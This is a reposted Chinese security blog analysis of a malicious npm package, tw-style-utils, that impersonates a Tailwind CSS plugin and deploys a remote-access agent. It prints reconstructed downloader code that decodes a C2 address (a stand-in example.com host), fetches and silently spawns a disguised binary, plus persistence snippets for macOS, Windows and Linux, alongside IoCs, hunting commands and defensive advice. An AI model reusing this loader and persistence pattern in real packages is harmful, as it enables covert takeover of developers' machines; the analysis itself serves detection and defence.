文章总结: 文档详细分析了2026年5月出现的SStarnpm供应链攻击案例,攻击者通过伪装成TailwindCSS工具的tw-style-utils包,在模块加载时静默下载恶意代理。攻击链包含假项目诱导、XOR混淆C2地址、跨平台伪装、无感启动及双循环通信机制,全程10秒内完成且能绕过常规防御。关键发现包括恶意包仍可下载、使用模块顶层代码而非postinstall钩子、具备持久化能力。建议开发者检查IoC指标并加强依赖审查。 综合评分: 85 文章分类: 供应链安全,恶意软件,漏洞分析,WEB安全,安全运营
SStar 一例 Web3 npm 投毒的孤狼案例
Calvin So Calvin So
赛博生存指南
2026年6月11日 08:38 浙江
在小说阅读器读本章
去阅读
原文: www.iru.com/blog/sstar-agent
2026年5月26日,一个名叫 tw-style-utils 的 npm 包悄然上线。它完美伪装成 Tailwind CSS 排版插件,99% 的代码直接照搬合法开源包 @tailwindcss/typography。剩下的 1%,是一个不到 5KB 的恶意下载器。开发者只需要执行一行 npm install,电脑就不再属于自己。 没有弹窗,没有报错。
一、时间线
| 时间 (UTC) | 事件 |
| — | — |
| 2026-05-26 17:19 | [email protected] 发布到 npm |
| 2026-05-26 17:30 | 同一攻击者的另一个包 [email protected] 发布(间隔仅11分钟) |
| 2026-05-26 18:55 | [email protected] 更新版发布 |
| 2026-05-27 17:53 | mouse5212-super-formatter 全部被 npm 撤下 |
| 截至发稿 | tw-style-utils 仍可正常下载,未被标记为恶意 |
⚠️ 值得注意的是,这个包并未出现在主流 Shai-Hulud 检测器的 3290+ 恶意包列表中。它是一次独立的小型攻击。
二、攻击链全景
假项目(GitHub)
↓ 开发者 clone + npm install
投毒 npm 包(tw-style-utils)
↓ require() 触发模块顶层代码(非 postinstall!)
XOR 解码 C2 地址
↓ 静默下载二进制
平台检测 + 下载对应平台的 Agent
↓ detached spawn + stdio ignore
SStar Agent 运行
↓ 安装持久化 + 双循环 C2 通信
开发者电脑完全沦陷
整个过程不到 10 秒。你感知到的唯一异常,可能就是 npm install 跑得”稍微慢了一点”。
第一步:假项目——你的警惕性在这里失效
攻击者在 GitHub 上搭建了一个看起来非常正经的 Web3 面试项目。package.json 长这样:
{
"name": "chainquest-bounty",
"version": "1.0.0",
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"next": "^14.0.0",
"react": "^18.0.0",
"tw-style-utils": "^0.7.1"
}
}
next、react 都是正常的,tw-style-utils 看起来就像一个普通的 Tailwind CSS 工具库。项目里有完整的 README、LICENSE、demo 页面,甚至还有一些仿造的 commit 历史。
唯一的可疑信号是:tw-style-utils 不在任何热门包列表中,下载量几乎为零。
第二步:投毒 npm 包——99% 的合法,是为了掩盖 1% 的致命
tw-style-utils 的目录结构堪称”完美犯罪”:
tw-style-utils/
├── package.json # 元数据完全照抄 @tailwindcss/typography
├── src/
│ ├── index.js # 99% 合法代码 + 1% 恶意载荷
│ ├── styles.js # 从合法包复制
│ └── utils.js # 从合法包复制
├── README.md # 从合法包复制
└── LICENSE # 从合法包复制
关键数据: 包大小 80KB。正常的 Tailwind CSS 排版插件通常不到 10KB,额外的 70KB 就是恶意载荷。但有多少人在安装前会检查包体积?
npm 页面的伪装也毫无破绽:
- • 描述、关键词照抄
@tailwindcss/typography - • 唯一依赖
postcss-selector-parser是合法的 PostCSS 工具 - • scripts 看起来正常(dev、test、build)
- • MIT 开源协议
维护者信息:
- • 用户名:
superstar777 - • 邮箱:
[email protected] - • 行为特征:2026-05-26 当天 1 小时内连发两个版本,且同时发布了另一个包
这些信号单独看都不致命,但组合在一起,就是一个典型的”速生 malicious package”画像。
第三步:触发机制
很多开发者知道 npm install --ignore-scripts 可以防止 postinstall 钩子执行。部分团队甚至在 CI 里强制开了这个 flag,觉得这样就能挡住供应链攻击。但 SStar Agent不用 postinstall。 它的恶意代码藏在模块的顶层 IIFE(立即执行函数)里:
// src/index.js
const legitimateCode = require('./styles');
// ... 200 行完全正常的 Tailwind 代码 ...
module.exports = legitimateCode;
// 模块顶层立即执行 —— require() 或 import 时自动触发
(function() {
const platform = process.platform;
// ... 恶意下载器逻辑 ...
})();
这是 Node.js 的设计特性: 当一个模块被 require() 或 import 加载时,该模块文件内的所有顶层代码都会立即执行。这是预期行为,不是 bug。这意味着攻击者只需要让你在代码里写一行 require('tw-style-utils'),或者在一个依赖了它的项目里执行 npm run dev,恶意代码就会无声无息地运行。
你的防御手段,在这一步几乎全部失效:
| 防御手段 | 为什么防不住 |
| — | — |
| --ignore-scripts | 只拦截 install 钩子,不拦截模块加载 |
| npm audit | 依赖已知漏洞数据库,新恶意包不在其中 |
| snyk 等依赖扫描 | 同上,无历史污点 = 无告警 |
| 人工代码审查 | 80KB 的混淆代码, mixed 在 99% 的合法代码中 |
第四步:XOR 混淆 + 平台适配——简单,但够用
恶意代码的第一步是解码 C2(命令控制)服务器地址。它没有用什么高大上的算法,而是最朴素的单字节 XOR:
function xorDecode(hexStr, key) {
return Buffer.from(hexStr, 'hex')
.map(b => b ^ key)
.toString('utf8');
}
// C2 URL 被 XOR 0x2a 编码成随机 hex
const c2Url = xorDecode('6e4a4e6e0703066e...', 0x2a);
// 解码后: https://otter-stack.example.com/d/agent
为什么不用 AES 或 RSA?因为没必要。静态扫描工具搜索的是明文字符串,XOR 后的 hex 序列完全不会被识别为 URL。攻击者追求的不是密码学强度,而是绕过自动化检测。
解码 C2 地址后,代码还会做平台检测,下载对应版本的 SStar Agent:
function getTargetFilename() {
const platform = process.platform;
const filenames = {
win32: 'WindowsUpdate.exe', // 伪装成 Windows 更新
darwin: 'com.apple.update.agent', // 伪装成 macOS 系统服务
linux: 'systemd-resolved.service', // 伪装成 Linux 系统服务
};
return filenames[platform] || 'update';
}
三个平台,三种伪装文件名,都伪装成系统更新服务,降低被手动排查时一眼识破的概率。
第五步:静默下载与启动——你什么都不会看到
const targetPath = path.join(os.tmpdir(), filename);
const file = fs.createWriteStream(targetPath);
https.get(downloadUrl, (res) => {
res.pipe(file);
file.on('finish', () => {
file.close();
if (process.platform !== 'win32') {
fs.chmodSync(targetPath, 0o755); // 赋予执行权限
}
// 关键:静默启动
const child = spawn(targetPath, [], {
detached: true, // 脱离父进程,关掉终端它还在跑
stdio: 'ignore', // 无任何输入输出,控制台干干净净
windowsHide: true // Windows 下隐藏窗口
});
child.unref(); // 父进程不等待子进程,直接退出
});
});
三个参数的组合,让这次植入完全无感:
- 1.
detached: true— 子进程独立运行,终端关了它还在 - 2.
stdio: 'ignore'— 标准输入输出全部被丢弃,终端没有任何异常输出 - 3.
child.unref()— 父进程可以正常退出,不会因为子进程而挂起
从用户的角度看,npm install 正常结束,光标回来了,一切如常。
第六步:持久化——重启、关机、换终端,都逃不掉
SStar Agent 会在系统里建立持久化机制,确保重启后自动运行:
macOS: LaunchAgent plist,伪装系统更新服务
<key>Label</key>
<string>com.apple.update.agent</string>
<key>RunAtLoad</key><true/> <!-- 登录即启动 -->
<key>KeepAlive</key><true/> <!-- 崩溃后自动重启 -->
Windows: 复制到启动文件夹
copy %TEMP%\WindowsUpdate.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
Linux: systemd user service
[Service]
ExecStart=/tmp/systemd-resolved.service
Restart=always <!-- 崩溃后自动重启 -->
三种方式,一个共同点:伪装成系统更新服务。如果你不去刻意翻查 LaunchAgent 列表、启动文件夹或 systemd 服务,根本发现不了。
第七步:C2 通信——双循环 + 抖动间隔 = 极难检测
SStar Agent 上线后进入双循环通信模式:
循环 1:命令轮询(每 20-60 秒随机间隔)
Agent → C2: "我还活着,有活儿干吗?"
C2 → Agent: { "text": "whoami" }
Agent → C2: 执行结果回传
循环 2:遥测回传(每 45-160 秒随机间隔)
Agent → C2: 系统信息 + 目录树 + 环境变量
两个设计细节体现了攻击者的”工程思维”:
- 1. 抖动间隔(Jitter) — 不是固定每 30 秒轮询,而是在一个范围内随机。这让基于固定时间间隔的异常流量检测完全失效。
- 2. 静默失败 — 所有网络请求都包裹在
try/catch里,异常时直接跳过,不做任何重试或报错。即使 C2 被封,Agent 也不会因为异常日志而暴露自己。
C2 支持的操作能力:
- • Shell 命令执行:任意系统命令
- • 文件窃取 + 分片上传:22MB 一块,绕过单文件大小限制
- • 系统信息收集:主机名、用户名、目录结构、环境变量
三、IoC 指标(如果你怀疑自己中招了)
恶意 npm 包
- •
[email protected]— shasum:0428afb4523a88983f7f4e950f04736706981158 - •
[email protected]— shasum:e41c0fc1baa1e0f3557b9e4a198addf2a8138144
攻击者身份
- • npm 用户:
superstar777 - • 邮箱:
[email protected]
macOS 排查
- • 可疑文件:
~/Library/LaunchAgents/com.apple.update.agent.plist - • 可疑文件:
~/.local/share/update-agent/update - • 可疑进程:包含
sstar、otter、update.agent
Windows 排查
- • 可疑文件:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe - • 可疑目录:
%LOCALAPPDATA%\WpnUserSvc\ - • 可疑进程:
WpnUserSvc、GoogleUpdate、sstar
网络侧
- • 连接
otter-stack相关域名 - • 未知 HTTPS 连接,且 POST 请求呈现随机间隔
排查命令速查
# macOS
ls -la ~/Library/LaunchAgents/ | grep -v "com.apple\|com.google\|com.microsoft"
ps aux | grep -iE "sstar|otter|update.agent" | grep -v grep
lsof -i -P | grep -iE "otter-stack"
# Windows
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Get-Process | Where-Object { $_.Name -match "sstar|WpnUserSvc" }
netstat -ano | findstr ESTABLISHED
四、SStar vs. Shai-Hulud:小作坊 vs. 工业化
2026 年 npm 供应链攻击的”明星”是 Shai-Hulud / TeamPCP,一个持续 9 个月、横跨四大包管理器的 APT 级行动。SStar Agent 和它比,差距是全方位的:
| 维度 | SStar Agent | Shai-Hulud / TeamPCP |
| — | — | — |
| 加密 | 单字节 XOR (0x2a) | AES-256-GCM + RSA-OAEP 混合加密 |
| 规模 | 1 个包,2 个版本 | 3000+ 恶意包,横跨 npm、PyPI、RubyGems、Go |
| 横向移动 | 无 | 自动扫描 AWS 18 区域 / K8s 全命名空间 / Vault / GitHub Actions |
| 签名伪造 | 无 | 伪造 SLSA Provenance + Sigstore 全链路签名 |
| 自毁机制 | 无 | Deadman Switch(token 被撤销则执行 rm -rf ~/) |
| 持续运营 | 单次攻击 | 2025 年 9 月至今 |
事实上,正因为 SStar 足够简单,它才更难被检测到。Shai-Hulud 因为规模大、特征明显,已经被多个检测器覆盖;而 SStar 这种”孤狼式”攻击,反而容易成为漏网之鱼。不过都利用了require()顶层代码执行(npm系统性弱点)。
防御建议
个人开发者
- 1. 绝不直接
npm install陌生项目。 先审查package.json,对不认识的依赖逐个npm info查看年龄、版本数、下载量、维护者历史。 - 2. 做快速静态扫描。 对可疑依赖执行:
grep -E "child_process|spawn|exec|fetch|https\.get" node_modules/<pkg>/src/*.js - 3. 安装依赖安全检查工具。 如
socket.dev或snyk,它们能识别异常行为模式,而非仅依赖漏洞数据库。 - 4. 在隔离环境运行陌生代码。 使用 Docker、VM 或 Codespaces,绝不在主力机上直接跑。
企业团队
- 1. 私有 npm registry + 白名单策略。 只允许通过审核的包进入内部 registry。
- 2. CI/CD 集成依赖扫描。 不仅用
npm audit,还要引入行为检测工具(如 Shai-Hulud 检测器)。 - 3. 最小权限原则。 开发机不存储生产凭证,代码仓库不直接连接生产环境。
- 4. 终端部署 EDR。 监控异常进程创建(detached spawn、写入启动目录)和非常规网络连接。
行业层面
npm 的 require() 顶层代码自动执行是一个系统性设计缺陷。只要这个”特性”存在,类似攻击就会持续发生。--ignore-scripts 只堵住了 postinstall 这一条路,但模块加载时的副作用完全没有防护。
这需要 Node.js 生态从架构层面解决,比如:
- • 引入模块沙箱,限制加载时的 API 访问
- • 提供纯无副作用导入机制(如显式标记
side-effect-free) - • 建立运行时行为审计标准
结语
SStar Agent 不是最复杂的供应链攻击,甚至算不上”高级”。但它精准地击中了开发者最薄弱的一环——信任惯性。
你信任 npm 的生态审核,信任 GitHub 上的 star 数和 README,信任 npm install 是一个安全的动作。攻击者知道这一点,所以他们的策略极其朴素:不需要骗过安全专家,只需要骗过那个正在赶 deadline、没时间多看的你。
而我们都知道,大部分人在 npm install 报错之前,是不会多看一眼的。
本文仅供安全研究和防御教育使用,所有 POC 代码已脱敏处理,不会直接造成危害。
IoC 数据来源于公开 npm registry 和 GitHub,分析基于静态代码审查。
参考资源
- • Shai-Hulud 供应链攻击检测器:github.com/Cobenian/shai-hulud-detect(3290+ 恶意包)
- • Mini Shai-Hulud 法证数据集:github.com/copyleftdev/mini-shai-hulud-dragnet
- • Shai-Hulud 2.0 检测器:github.com/gensecaihq/Shai-Hulud-2.0-Detector
- • npm 官方页面:npmjs.com/package/tw-style-utils
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博生存指南 Calvin So Calvin So《SStar 一例 Web3 npm 投毒的孤狼案例》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。



![[渗透测试]支付类漏洞挖掘技巧总结](/images/random/titlepic/4.jpg)






评论